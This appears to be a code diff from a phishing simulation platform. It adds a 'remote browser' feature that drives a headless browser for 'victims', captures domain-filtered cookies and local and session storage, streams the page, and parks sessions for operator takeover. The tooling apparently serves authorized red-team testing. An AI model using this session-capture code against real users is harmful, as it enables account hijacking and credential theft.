quality = int(v.ToInteger()) + } + } + } + if streamDebug { + emitter.log(fmt.Sprintf("[dbg] → stream %s as %q (maxFps=%d, quality=%d)", selector, name, maxFps, quality)) + } + select { + case r.StreamCh <- StreamCmd{Op: "start", Selector: selector, Name: name, Page: page, MaxFps: maxFps, Quality: quality}: + default: + emitter.log(fmt.Sprintf("[stream] warning: StreamCh full, dropping start for %q", name)) + } + if streamDebug { + emitter.log(fmt.Sprintf("[dbg] ✓ stream %s as %q started", selector, name)) + } + stopObj := vm.NewObject() + stopped := false + stopObj.Set("stop", func(call goja.FunctionCall) goja.Value { + if !stopped { + stopped = true + if streamDebug { + emitter.log(fmt.Sprintf("[dbg] → stream stop %q", name)) + } + select { + case r.StreamCh <- StreamCmd{Op: "stop", Name: name}: + default: + emitter.log(fmt.Sprintf("[stream] warning: StreamCh full, dropping stop for %q", name)) + } + if streamDebug { + emitter.log(fmt.Sprintf("[dbg] ✓ stream stop %q", name)) + } + } + return goja.Undefined() + }) + return stopObj + }) + + session.Set("capture", func(call goja.FunctionCall) goja.Value { + // Options: + // domains []string - filter cookies to these domains via CDP (e.g. ["google.com"]) + // cookieNames []string - only keep cookies with these names + // localStorage bool - include localStorage (default true when no domains given) + // sessionStorage bool - include sessionStorage (default true when no domains given) + var domains []string + var cookieNames []string + lsExplicit, ssExplicit := false, false + capLS := true + capSS := true + + if len(call.Arguments) > 0 { + obj := call.Argument(0).ToObject(vm) + if obj != nil { + if v := obj.Get("domains"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + if arr, ok := v.Export().([]any); ok { + for _, d := range arr { + domains = append(domains, fmt.Sprintf("%v", d)) + } + } + } + if v := obj.Get("cookieNames"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + if arr, ok := v.Export().([]any); ok { + for _, n := range arr { + cookieNames = append(cookieNames, fmt.Sprintf("%v", n)) + } + } + } + if v := obj.Get("localStorage"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + capLS = v.ToBoolean() + lsExplicit = true + } + if v := obj.Get("sessionStorage"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + capSS = v.ToBoolean() + ssExplicit = true + } + } + } + + // When domains are specified, skip storage by default unless the caller explicitly opted in. + if len(domains) > 0 { + if !lsExplicit { + capLS = false + } + if !ssExplicit { + capSS = false + } + } + + result := map[string]any{} + + if len(domains) > 0 { + urls := make([]string, len(domains)) + for i, d := range domains { + d = strings.TrimPrefix(d, ".") + if !strings.HasPrefix(d, "http") { + d = "https://" + d + } + urls[i] = d + } + res, err := proto.NetworkGetCookies{Urls: urls}.Call(page) + if err == nil { + cookies := res.Cookies + // Filter by name if requested. + if len(cookieNames) > 0 { + nameSet := make(map[string]bool, len(cookieNames)) + for _, n := range cookieNames { + nameSet[n] = true + } + filtered := cookies[:0] + for _, c := range cookies { + if nameSet[c.Name] { + filtered = append(filtered, c) + } + } + cookies = filtered + } + result["cookies"] = cookies + } else { + emitter.log(fmt.Sprintf("[capture] cookies: %s", err)) + } + } else { + res, err := proto.StorageGetCookies{}.Call(page) + if err == nil { + cookies := res.Cookies + // Filter by name if requested. + if len(cookieNames) > 0 { + nameSet := make(map[string]bool, len(cookieNames)) + for _, n := range cookieNames { + nameSet[n] = true + } + filtered := cookies[:0] + for _, c := range cookies { + if nameSet[c.Name] { + filtered = append(filtered, c) + } + } + cookies = filtered + } + result["cookies"] = cookies + } else { + emitter.log(fmt.Sprintf("[capture] cookies: %s", err)) + } + } + + evalStorage := func(key string, storeName string) { + script := fmt.Sprintf(`() => (function(){try{var s=window[%q],o={};for(var i=0;i{var el=%s;if(!el)return null;var b=el.getBoundingClientRect();return(b.width!==0||b.height!==0)?%s:null}`, q, r) + case "ready": + return fmt.Sprintf(`()=>{var el=%s;if(!el)return null;var b=el.getBoundingClientRect();if(b.width===0&&b.height===0)return null;return el.disabled?null:%s}`, q, r) + case "enabled": + return fmt.Sprintf(`()=>{var el=%s;return(el&&!el.disabled)?%s:null}`, q, r) + case "notVisible": + return fmt.Sprintf(`()=>{var el=%s;if(!el)return %s;var b=el.getBoundingClientRect();return(b.width===0&&b.height===0)?%s:null}`, q, r, r) + case "notPresent": + return fmt.Sprintf(`()=>{return !%s?%s:null}`, q, r) + default: // "present" + return fmt.Sprintf(`()=>{return %s?%s:null}`, q, r) + } + } + + // s.race(conditions) races DOM conditions, URL substrings, and incoming events + // simultaneously. condition keys: visible, ready, enabled, notVisible, notPresent, + // present (DOM), url (substring), event (name). + // Returns { key, value } for whichever condition fires first. + session.Set("race", func(call goja.FunctionCall) goja.Value { + if len(call.Arguments) == 0 { + panic(vm.NewTypeError("race: expected an object with named conditions")) + } + condObj := call.Argument(0).ToObject(vm) + + type domCond struct{ key, selector, condJS string } + type urlCond struct { + key string + match func(string) bool + display string // for logging + } + type evtCond struct{ key, event string } + + var doms []domCond + var urls []urlCond + var evts []evtCond + evtSet := map[string]string{} + var timeoutCh <-chan time.Time + var timeoutKey string + + domTypes := []string{"visible", "ready", "enabled", "notVisible", "notPresent", "present"} + + for _, k := range condObj.Keys() { + v := condObj.Get(k).ToObject(vm) + if v == nil { + continue + } + matched := false + for _, ct := range domTypes { + if sel := v.Get(ct); sel != nil && !goja.IsUndefined(sel) && !goja.IsNull(sel) { + doms = append(doms, domCond{k, sel.String(), raceDOMCondJS(ct, sel.String())}) + matched = true + break + } + } + if matched { + continue + } + if u := v.Get("urlContains"); u != nil && !goja.IsUndefined(u) && !goja.IsNull(u) { + pat := u.String() + urls = append(urls, urlCond{k, func(s string) bool { return strings.Contains(s, pat) }, pat}) + } else if u := v.Get("urlMatch"); u != nil && !goja.IsUndefined(u) && !goja.IsNull(u) { + re, ok := u.Export().(*regexp.Regexp) + if !ok { + panic(vm.NewTypeError("race: urlMatch value must be a RegExp")) + } + urls = append(urls, urlCond{k, re.MatchString, re.String()}) + } else if e := v.Get("event"); e != nil && !goja.IsUndefined(e) && !goja.IsNull(e) { + evts = append(evts, evtCond{k, e.String()}) + evtSet[e.String()] = k + } else if a := v.Get("after"); a != nil && !goja.IsUndefined(a) && !goja.IsNull(a) { + timeoutCh = time.After(time.Duration(a.ToInteger()) * time.Millisecond) + timeoutKey = k + } + } + + makeResult := func(key string, value interface{}) goja.Value { + emitter.log(fmt.Sprintf("[race] matched %q = %v", key, value)) + res := vm.NewObject() + res.Set("key", key) + res.Set("value", vm.ToValue(value)) + return res + } + + // Drain event queue before blocking + for i, msg := range eventQueue { + if key, ok := evtSet[msg.Event]; ok { + eventQueue = append(eventQueue[:i], eventQueue[i+1:]...) + return makeResult(key, msg.Data) + } + } + + urlDisplays := make([]string, len(urls)) + for i, u := range urls { + urlDisplays[i] = u.display + } + emitter.log(fmt.Sprintf("[race] waiting: doms=%d urls=%v events=%d", len(doms), urlDisplays, len(evts))) + + ticker := time.NewTicker(100 * time.Millisecond) + defer ticker.Stop() + + for { + select { + case <-ctx.Done(): + panic(vm.NewGoError(ctx.Err())) + + case <-timeoutCh: + return makeResult(timeoutKey, "timeout") + + case msg := <-r.Incoming: + if key, matched := evtSet[msg.Event]; matched { + return makeResult(key, msg.Data) + } + enqueue(msg) + + case <-ticker.C: + for _, d := range doms { + res, err := page.Eval(d.condJS) + if err != nil { + continue + } + if res.Value.Nil() { + continue + } + if s := res.Value.Str(); s != "" && s != "null" && s != "undefined" { + return makeResult(d.key, d.selector) + } + } + if len(urls) > 0 { + info, err := page.Info() + if err == nil { + for _, u := range urls { + if u.match(info.URL) { + return makeResult(u.key, info.URL) + } + } + } + } + } + } + }) + + return session + }) + + _, err := vm.RunString("(function(){\n" + r.Script + "\n})()") + if err != nil { + // errors.Is/As traverse goja.Exception.Unwrap(), which extracts the Go error + // stored in the "value" property of a GoError object. Do NOT use + // ex.Value().Export().(error) — that returns map[string]interface{} for JS + // objects and always fails the type assertion. + var stopErr scriptStopError + if errors.As(err, &stopErr) { + emitter.done() + return nil + } + if errors.Is(err, context.DeadlineExceeded) { + // Check whether the *global* script timeout fired. If ctx.Err() is + // DeadlineExceeded, the outer context expired — surface a clear timeout + // message and send the session_timeout lifecycle event to the victim page. + // Otherwise this is a per-operation timeout (withTimeout, queryTimeout). + if errors.Is(ctx.Err(), context.DeadlineExceeded) { + emitter.errorf(fmt.Sprintf("script timed out after %ds", r.Config.Timeout/1000)) + emitter.emit("session_timeout", nil) + } else { + emitter.errorf("operation timed out") + } + emitter.done() + return nil + } + if errors.Is(err, context.Canceled) { + // Three distinct cancellation sources share this error value: + // 1. keepAlive() called timeoutCancel() → ctx canceled, outerCtx still live. + // Any subsequent ctx.Done() select in race/waitFor/listen fires immediately + // with context.Canceled, causing RunString to return here before the park + // block below is ever reached. Park explicitly so the browser stays alive. + // 2. Operator or visitor ended the session → outerCtx canceled. + // Emit session_closed so the victim page can react (e.g. redirect). + if r.keepAliveActive.Load() { + emitter.log("[session] script complete (after keepAlive), parked for operator takeover") + <-outerCtx.Done() + emitter.log("[session] keep-alive ended") + emitter.done() + return nil + } + emitter.emit("session_closed", nil) + emitter.done() + return nil + } + // Script-level error: surface the formatted exception. + var ex *goja.Exception + if errors.As(err, &ex) { + emitter.errorf(cleanGoError(ex.String())) + return fmt.Errorf("script error: %s", ex.String()) + } + emitter.errorf(err.Error()) + return err + } + + // keepAlive() was called: script has finished but the browser must stay + // alive for operator takeover. Block here until the operator explicitly + // cancels the session (outerCtx), then emit done so the Events channel + // drains cleanly. + if r.keepAliveActive.Load() { + emitter.log("[session] script complete, parked for operator takeover") + <-outerCtx.Done() + emitter.log("[session] keep-alive ended") + } + + emitter.done() + return nil +} diff --git a/backend/repository/campaign.go b/backend/repository/campaign.go index 2e893d7..56aa36d 100644 --- a/backend/repository/campaign.go +++ b/backend/repository/campaign.go @@ -1413,7 +1413,7 @@ func (r *Campaign) SaveEvent( "ip_address": campaignEvent.IP.String(), "user_agent": campaignEvent.UserAgent.String(), "data": campaignEvent.Data.String(), - "metadata": campaignEvent.Metadata.String(), + "metadata": func() string { if campaignEvent.Metadata == nil { return "" }; return campaignEvent.Metadata.String() }(), } if campaignEvent.RecipientID != nil { row["recipient_id"] = campaignEvent.RecipientID.String() diff --git a/backend/repository/remoteBrowser.go b/backend/repository/remoteBrowser.go new file mode 100644 index 0000000..f2bb20e --- /dev/null +++ b/backend/repository/remoteBrowser.go @@ -0,0 +1,219 @@ +package repository + +import ( + "context" + "encoding/json" + "fmt" + + "github.com/google/uuid" + "github.com/oapi-codegen/nullable" + "github.com/phishingclub/phishingclub/database" + "github.com/phishingclub/phishingclub/errs" + "github.com/phishingclub/phishingclub/model" + "github.com/phishingclub/phishingclub/vo" + "gorm.io/gorm" +) + +var remoteBrowserAllowedColumns = assignTableToColumns(database.REMOTE_BROWSER_TABLE, []string{ + "created_at", + "updated_at", + "name", +}) + +// RemoteBrowserOption controls eager loading and query params. +type RemoteBrowserOption struct { + *vo.QueryArgs + WithCompany bool +} + +// RemoteBrowser is the remote browser repository. +type RemoteBrowser struct { + DB *gorm.DB +} + +func (m *RemoteBrowser) load(options *RemoteBrowserOption, db *gorm.DB) *gorm.DB { + if options.WithCompany { + db = db.Joins("Company") + } + return db +} + +// Insert creates a new remote browser record. +func (m *RemoteBrowser) Insert(ctx context.Context, rb *model.RemoteBrowser) (*uuid.UUID, error) { + id := uuid.New() + row := rb.ToDBMap() + row["id"] = id + AddTimestamps(row) + + res := m.DB.Model(&database.RemoteBrowser{}).Create(row) + if res.Error != nil { + return nil, res.Error + } + return &id, nil +} + +// GetAll returns a paginated list of remote browsers for the given company. +func (m *RemoteBrowser) GetAll( + ctx context.Context, + companyID *uuid.UUID, + options *RemoteBrowserOption, +) (*model.Result[model.RemoteBrowser], error) { + result := model.NewEmptyResult[model.RemoteBrowser]() + var rows []database.RemoteBrowser + + db := m.load(options, m.DB) + db = withCompanyIncludingNullContext(db, companyID, database.REMOTE_BROWSER_TABLE) + db, err := useQuery(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...) + if err != nil { + return result, errs.Wrap(err) + } + if res := db.Find(&rows); res.Error != nil { + return result, res.Error + } + + hasNextPage, err := useHasNextPage(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...) + if err != nil { + return result, errs.Wrap(err) + } + result.HasNextPage = hasNextPage + + for _, row := range rows { + rb, err := ToRemoteBrowser(&row) + if err != nil { + return result, errs.Wrap(err) + } + result.Rows = append(result.Rows, rb) + } + return result, nil +} + +// GetAllSubset returns lightweight overview rows. +func (m *RemoteBrowser) GetAllSubset( + ctx context.Context, + companyID *uuid.UUID, + options *RemoteBrowserOption, +) (*model.Result[model.RemoteBrowserOverview], error) { + result := model.NewEmptyResult[model.RemoteBrowserOverview]() + var rows []database.RemoteBrowser + + db := withCompanyIncludingNullContext(m.DB, companyID, database.REMOTE_BROWSER_TABLE) + db, err := useQuery(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...) + if err != nil { + return result, errs.Wrap(err) + } + if res := db.Select("id, created_at, updated_at, name, description, company_id").Find(&rows); res.Error != nil { + return result, res.Error + } + + hasNextPage, err := useHasNextPage(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...) + if err != nil { + return result, errs.Wrap(err) + } + result.HasNextPage = hasNextPage + + for _, row := range rows { + result.Rows = append(result.Rows, &model.RemoteBrowserOverview{ + ID: *row.ID, + CreatedAt: row.CreatedAt, + UpdatedAt: row.UpdatedAt, + Name: row.Name, + Description: row.Description, + CompanyID: row.CompanyID, + }) + } + return result, nil +} + +// GetByID returns a single remote browser by ID. +func (m *RemoteBrowser) GetByID( + ctx context.Context, + id *uuid.UUID, + options *RemoteBrowserOption, +) (*model.RemoteBrowser, error) { + row := database.RemoteBrowser{} + db := m.load(options, m.DB) + if res := db.Where(TableColumnID(database.REMOTE_BROWSER_TABLE)+" = ?", id).First(&row); res.Error != nil { + return nil, res.Error + } + return ToRemoteBrowser(&row) +} + +// GetByNameAndCompanyID returns a remote browser by name (used for uniqueness checks). +func (m *RemoteBrowser) GetByNameAndCompanyID( + ctx context.Context, + name *vo.String64, + companyID *uuid.UUID, + options *RemoteBrowserOption, +) (*model.RemoteBrowser, error) { + row := database.RemoteBrowser{} + db := m.load(options, m.DB) + db = withCompanyIncludingNullContext(db, companyID, database.REMOTE_BROWSER_TABLE) + res := db.Where( + fmt.Sprintf("%s = ?", TableColumn(database.REMOTE_BROWSER_TABLE, "name")), + name.String(), + ).First(&row) + if res.Error != nil { + return nil, res.Error + } + return ToRemoteBrowser(&row) +} + +// UpdateByID updates the mutable fields of a remote browser. +func (m *RemoteBrowser) UpdateByID(ctx context.Context, id *uuid.UUID, rb *model.RemoteBrowser) error { + row := rb.ToDBMap() + AddUpdatedAt(row) + res := m.DB.Model(&database.RemoteBrowser{}).Where("id = ?", id).Updates(row) + if res.Error != nil { + return res.Error + } + return nil +} + +// DeleteByID hard-deletes a remote browser. +func (m *RemoteBrowser) DeleteByID(ctx context.Context, id *uuid.UUID) error { + if res := m.DB.Delete(&database.RemoteBrowser{}, id); res.Error != nil { + return res.Error + } + return nil +} + +// ToRemoteBrowser maps a database row to the model type. +func ToRemoteBrowser(row *database.RemoteBrowser) (*model.RemoteBrowser, error) { + id := nullable.NewNullableWithValue(*row.ID) + companyID := nullable.NewNullNullable[uuid.UUID]() + if row.CompanyID != nil { + companyID.Set(*row.CompanyID) + } + name := nullable.NewNullableWithValue(*vo.NewString64Must(row.Name)) + + description, err := vo.NewOptionalString1024(row.Description) + if err != nil { + return nil, errs.Wrap(err) + } + descriptionNullable := nullable.NewNullableWithValue(*description) + + script, err := vo.NewString1MB(row.Script) + if err != nil { + return nil, errs.Wrap(err) + } + scriptNullable := nullable.NewNullableWithValue(*script) + + var cfg model.RemoteBrowserConfig + if row.Config != "" { + if err := json.Unmarshal([]byte(row.Config), &cfg); err != nil { + return nil, errs.Wrap(fmt.Errorf("invalid stored config: %w", err)) + } + } + configNullable := nullable.NewNullableWithValue(cfg) + + return &model.RemoteBrowser{ + ID: id, + CreatedAt: row.CreatedAt, + UpdatedAt: row.UpdatedAt, + CompanyID: companyID, + Name: name, + Description: descriptionNullable, + Script: scriptNullable, + Config: configNullable, + }, nil +} diff --git a/backend/seed/migrate.go b/backend/seed/migrate.go index b2fd415..cb5363c 100644 --- a/backend/seed/migrate.go +++ b/backend/seed/migrate.go @@ -58,6 +58,7 @@ func initialInstallAndSeed( &database.OAuthProvider{}, &database.OAuthState{}, &database.MicrosoftDeviceCode{}, + &database.RemoteBrowser{}, } // disable foreign key constraints temporarily for sqlite to allow table recreation @@ -384,6 +385,39 @@ func SeedSettings( } } } + { + // seed remote browser victim WS path - 12 random lowercase alphanumeric chars + id := uuid.New() + var c int64 + res := db. + Model(&database.Option{}). + Where("key = ?", data.OptionKeyRemoteBrowserWSPath). + Count(&c) + + if res.Error != nil { + return errs.Wrap(res.Error) + } + if c == 0 { + b := make([]byte, 12) + _, err := rand.Read(b) + if err != nil { + return errs.Wrap(err) + } + charset := "abcdefghijklmnopqrstuvwxyz0123456789" + wsPath := "" + for i := range b { + wsPath += string(charset[int(b[i])%len(charset)]) + } + res = db.Create(&database.Option{ + ID: &id, + Key: data.OptionKeyRemoteBrowserWSPath, + Value: wsPath, + }) + if res.Error != nil { + return errs.Wrap(res.Error) + } + } + } return nil } diff --git a/backend/service/campaign.go b/backend/service/campaign.go index 9157d81..c0b6cee 100644 --- a/backend/service/campaign.go +++ b/backend/service/campaign.go @@ -57,6 +57,7 @@ type Campaign struct { WebhookService *Webhook MicrosoftDeviceCodeRepository *repository.MicrosoftDeviceCode AttachmentPath string + RemoteBrowserService *RemoteBrowser } // Create creates a new campaign @@ -1880,6 +1881,9 @@ func (c *Campaign) DeleteByID( c.Logger.Errorw("failed to delete campaign by id", "error", err) return errs.Wrap(err) } + if c.RemoteBrowserService != nil { + c.RemoteBrowserService.TerminateByCampaignID(*id) + } c.AuditLogAuthorized(ae) return nil } @@ -3190,6 +3194,9 @@ func (c *Campaign) closeCampaign( c.Logger.Errorw("failed to cancel recipients", "error", err) return errs.Wrap(err) } + if c.RemoteBrowserService != nil { + c.RemoteBrowserService.TerminateByCampaignID(*id) + } err = campaign.Closed() if go_errors.Is(err, errs.ErrCampaignAlreadyClosed) { c.Logger.Debugw("campaign already closed", "error", err) diff --git a/backend/service/remoteBrowser.go b/backend/service/remoteBrowser.go new file mode 100644 index 0000000..533298e --- /dev/null +++ b/backend/service/remoteBrowser.go @@ -0,0 +1,306 @@ +package service + +import ( + "context" + "fmt" + "sync" + + "github.com/go-errors/errors" + "github.com/google/uuid" + "github.com/phishingclub/phishingclub/data" + "github.com/phishingclub/phishingclub/errs" + "github.com/phishingclub/phishingclub/model" + "github.com/phishingclub/phishingclub/repository" + "github.com/phishingclub/phishingclub/validate" + "gorm.io/gorm" +) + +// LiveSession is the minimal interface the service needs to manage session lifecycle. +// The controller's concrete session type implements this; the service never needs to +// know about browser pages or WebSocket connections. +type LiveSession interface { + GetCampaignID() uuid.UUID + Cancel() + IsKeepAlive() bool +} + +// RemoteBrowser manages saved remote browser scripts and tracks live sessions. +type RemoteBrowser struct { + Common + RemoteBrowserRepository *repository.RemoteBrowser + sessions sync.Map // key (crID or rbID string) → LiveSession +} + +// SwapSession atomically replaces the session for key, returning the previous one. +func (s *RemoteBrowser) SwapSession(key string, sess LiveSession) (LiveSession, bool) { + prev, had := s.sessions.Swap(key, sess) + if !had { + return nil, false + } + return prev.(LiveSession), true +} + +// StoreSession stores a session, overwriting any existing entry for key. +func (s *RemoteBrowser) StoreSession(key string, sess LiveSession) { + s.sessions.Store(key, sess) +} + +// LoadSession returns the session for key, if present. +func (s *RemoteBrowser) LoadSession(key string) (LiveSession, bool) { + val, ok := s.sessions.Load(key) + if !ok { + return nil, false + } + return val.(LiveSession), true +} + +// LoadAndDeleteSession atomically loads and removes the session for key. +func (s *RemoteBrowser) LoadAndDeleteSession(key string) (LiveSession, bool) { + val, loaded := s.sessions.LoadAndDelete(key) + if !loaded { + return nil, false + } + return val.(LiveSession), true +} + +// CompareAndDeleteSession removes the session for key only if it is still sess +// (pointer identity), so a newer session's cleanup never evicts its own entry. +func (s *RemoteBrowser) CompareAndDeleteSession(key string, sess LiveSession) { + s.sessions.CompareAndDelete(key, sess) +} + +// RangeSessions calls fn for every live session. Returning false stops iteration. +func (s *RemoteBrowser) RangeSessions(fn func(key string, sess LiveSession) bool) { + s.sessions.Range(func(k, v any) bool { + return fn(k.(string), v.(LiveSession)) + }) +} + +// TerminateByCampaignID cancels and removes all sessions belonging to campaignID. +// Called by service.Campaign on close/delete. +func (s *RemoteBrowser) TerminateByCampaignID(campaignID uuid.UUID) { + s.sessions.Range(func(key, value any) bool { + sess := value.(LiveSession) + if sess.GetCampaignID() == campaignID { + sess.Cancel() + s.sessions.CompareAndDelete(key, value) + } + return true + }) +} + +// Create saves a new remote browser script. +func (s *RemoteBrowser) Create( + ctx context.Context, + session *model.Session, + rb *model.RemoteBrowser, +) (*uuid.UUID, error) { + ae := NewAuditEvent("RemoteBrowser.Create", session) + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return nil, errs.Wrap(err) + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return nil, errs.ErrAuthorizationFailed + } + + var companyID *uuid.UUID + if cid, err := rb.CompanyID.Get(); err == nil { + companyID = &cid + } + + if err := rb.Validate(); err != nil { + s.Logger.Errorw("failed to validate remote browser", "error", err) + return nil, errs.Wrap(err) + } + + name := rb.Name.MustGet() + isOK, err := repository.CheckNameIsUnique(ctx, s.RemoteBrowserRepository.DB, "remote_browsers", name.String(), companyID, nil) + if err != nil { + s.Logger.Errorw("failed to check remote browser uniqueness", "error", err) + return nil, errs.Wrap(err) + } + if !isOK { + return nil, validate.WrapErrorWithField(errors.New("is not unique"), "name") + } + + id, err := s.RemoteBrowserRepository.Insert(ctx, rb) + if err != nil { + s.Logger.Errorw("failed to create remote browser", "error", err) + return nil, errs.Wrap(err) + } + ae.Details["id"] = id.String() + s.AuditLogAuthorized(ae) + return id, nil +} + +// GetAll returns all remote browsers for the given company. +func (s *RemoteBrowser) GetAll( + ctx context.Context, + session *model.Session, + companyID *uuid.UUID, + options *repository.RemoteBrowserOption, +) (*model.Result[model.RemoteBrowser], error) { + result := model.NewEmptyResult[model.RemoteBrowser]() + ae := NewAuditEvent("RemoteBrowser.GetAll", session) + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return result, errs.Wrap(err) + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return result, errs.ErrAuthorizationFailed + } + result, err = s.RemoteBrowserRepository.GetAll(ctx, companyID, options) + if err != nil { + s.Logger.Errorw("failed to get remote browsers", "error", err) + return result, errs.Wrap(err) + } + return result, nil +} + +// GetAllOverview returns lightweight overview rows. +func (s *RemoteBrowser) GetAllOverview( + companyID *uuid.UUID, + ctx context.Context, + session *model.Session, + options *repository.RemoteBrowserOption, +) (*model.Result[model.RemoteBrowserOverview], error) { + result := model.NewEmptyResult[model.RemoteBrowserOverview]() + ae := NewAuditEvent("RemoteBrowser.GetAllOverview", session) + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return result, errs.Wrap(err) + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return result, errs.ErrAuthorizationFailed + } + result, err = s.RemoteBrowserRepository.GetAllSubset(ctx, companyID, options) + if err != nil { + s.Logger.Errorw("failed to get remote browser overview", "error", err) + return result, errs.Wrap(err) + } + return result, nil +} + +// GetByID returns a single remote browser by ID. +func (s *RemoteBrowser) GetByID( + ctx context.Context, + session *model.Session, + id *uuid.UUID, + options *repository.RemoteBrowserOption, +) (*model.RemoteBrowser, error) { + ae := NewAuditEvent("RemoteBrowser.GetByID", session) + ae.Details["id"] = id.String() + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return nil, errs.Wrap(err) + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return nil, errs.ErrAuthorizationFailed + } + rb, err := s.RemoteBrowserRepository.GetByID(ctx, id, options) + if errors.Is(err, gorm.ErrRecordNotFound) { + return nil, errs.Wrap(err) + } + if err != nil { + s.Logger.Errorw("failed to get remote browser by ID", "error", err) + return nil, errs.Wrap(err) + } + return rb, nil +} + +// UpdateByID updates mutable fields on a remote browser. +func (s *RemoteBrowser) UpdateByID( + ctx context.Context, + session *model.Session, + id *uuid.UUID, + rb *model.RemoteBrowser, +) error { + ae := NewAuditEvent("RemoteBrowser.UpdateByID", session) + ae.Details["id"] = id.String() + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return err + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return errs.ErrAuthorizationFailed + } + + current, err := s.RemoteBrowserRepository.GetByID(ctx, id, &repository.RemoteBrowserOption{}) + if errors.Is(err, gorm.ErrRecordNotFound) { + return err + } + if err != nil { + s.Logger.Errorw("failed to get remote browser for update", "error", err) + return err + } + + if _, err := rb.Name.Get(); err == nil { + var companyID *uuid.UUID + if cid, err := current.CompanyID.Get(); err == nil { + companyID = &cid + } + name := rb.Name.MustGet() + isOK, err := repository.CheckNameIsUnique(ctx, s.RemoteBrowserRepository.DB, "remote_browsers", name.String(), companyID, id) + if err != nil { + s.Logger.Errorw("failed to check remote browser name uniqueness on update", "error", err) + return errs.Wrap(err) + } + if !isOK { + return validate.WrapErrorWithField(errors.New("is not unique"), "name") + } + } + + if rb.Config.IsSpecified() { + if cfg, err := rb.Config.Get(); err == nil { + if cfg.Mode != "" && cfg.Mode != "local" && cfg.Mode != "remote" { + return fmt.Errorf("config.mode must be 'local' or 'remote'") + } + if cfg.Mode == "remote" && cfg.Remote == "" { + return fmt.Errorf("config.remote is required when mode is 'remote'") + } + } + } + + if err := s.RemoteBrowserRepository.UpdateByID(ctx, id, rb); err != nil { + s.Logger.Errorw("failed to update remote browser", "error", err) + return errs.Wrap(err) + } + s.AuditLogAuthorized(ae) + return nil +} + +// DeleteByID removes a remote browser. +func (s *RemoteBrowser) DeleteByID( + ctx context.Context, + session *model.Session, + id *uuid.UUID, +) error { + ae := NewAuditEvent("RemoteBrowser.DeleteByID", session) + ae.Details["id"] = id.String() + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return err + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return errs.ErrAuthorizationFailed + } + if err := s.RemoteBrowserRepository.DeleteByID(ctx, id); err != nil { + s.Logger.Errorw("failed to delete remote browser", "error", err) + return errs.Wrap(err) + } + s.AuditLogAuthorized(ae) + return nil +} diff --git a/backend/service/templateService.go b/backend/service/templateService.go index 152216e..802b236 100644 --- a/backend/service/templateService.go +++ b/backend/service/templateService.go @@ -16,7 +16,9 @@ import ( "github.com/go-errors/errors" "github.com/google/uuid" + "github.com/phishingclub/phishingclub/embedded" "github.com/oapi-codegen/nullable" + "github.com/phishingclub/phishingclub/data" "github.com/phishingclub/phishingclub/database" "github.com/phishingclub/phishingclub/errs" "github.com/phishingclub/phishingclub/model" @@ -33,6 +35,8 @@ const trackingPixelTemplate = "{{.Tracker}}" type Template struct { Common RecipientRepository *repository.Recipient + OptionRepository *repository.Option + RemoteBrowserRepository *repository.RemoteBrowser MicrosoftDeviceCodeService *MicrosoftDeviceCode } @@ -448,6 +452,38 @@ func (t *Template) CreatePhishingPageWithCampaignAndRecipient( templateFuncs = t.TemplateFuncsWithCompany(ctx, companyID) } + // Add RemoteBrowserScript - injects a " + } + } + tmpl, err := template.New("page"). Funcs(templateFuncs). Parse(contentToRender) @@ -612,6 +648,19 @@ func (t *Template) newTemplateDataMapWithDenyURL( return data } +// remoteBrowserWSPath returns the seeded random path segment used for the +// victim-facing remote browser WebSocket endpoint. Falls back to "rbws" if +// the option is not yet seeded (e.g. during tests or first startup). +func (t *Template) remoteBrowserWSPath(ctx context.Context) string { + if t.OptionRepository == nil { + return "rbws" + } + if opt, err := t.OptionRepository.GetByKey(ctx, data.OptionKeyRemoteBrowserWSPath); err == nil { + return opt.Value.String() + } + return "rbws" +} + // TemplateFuncs returns template functions for templates func TemplateFuncs() template.FuncMap { return template.FuncMap{ @@ -656,6 +705,11 @@ func TemplateFuncs() template.FuncMap { "DeviceCodeCaptured": func(args ...string) (bool, error) { return false, nil }, + // RemoteBrowserScript is a no-op stub used during template validation; it is replaced with + // a live implementation that outputs a real WebSocket + +
+ + +
+
    + +
+
+
diff --git a/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte b/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte new file mode 100644 index 0000000..ee0f1ce --- /dev/null +++ b/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte @@ -0,0 +1,1414 @@ + + +
+ +
+
+ dispatch('change', getModel())} + placeholder="my-remote-browser">Name +
+
+ dispatch('change', getModel())} + placeholder="Optional description">Description +
+
+ + +
+ +
+
+ JavaScript + +
+
+
+
+ + +
+ + +
+ +
+ + +
+ + +
+ {#if activeTab === 'config'} +
+
+ +
